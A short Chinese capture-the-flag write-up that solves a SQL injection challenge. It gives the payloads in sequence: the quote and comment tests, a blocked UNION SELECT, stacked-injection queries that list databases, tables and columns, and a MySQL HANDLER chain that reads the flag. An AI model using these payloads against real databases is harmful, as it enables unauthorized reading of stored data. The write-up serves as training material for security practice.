[强网杯 2019]随便注 WP

[强网杯 2019]随便注 WP

用1查询之后

加上单引号之后报错，判断是单引号闭合

加上#注释符又正常回显，加上order by 3 报错判断列数为2

尝试一下

-1' union select 1,2,3 #

被拦截了

尝试其他的方法也被拦截了

查看源码作者说sqlmap是没有灵魂的说明可以用sqlmap做

法一 sqlmap

法二 堆叠注入

1';show databases;#

1';show tables;#

发现两个表

当表名为纯数字时需要用反引号包裹否则会报错

1'; show columns from `1919810931114514`; #

找到了flag字段，但是没办法直接读

用handler攻击链

1';HANDLER `1919810931114514` OPEN; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE;#

得flag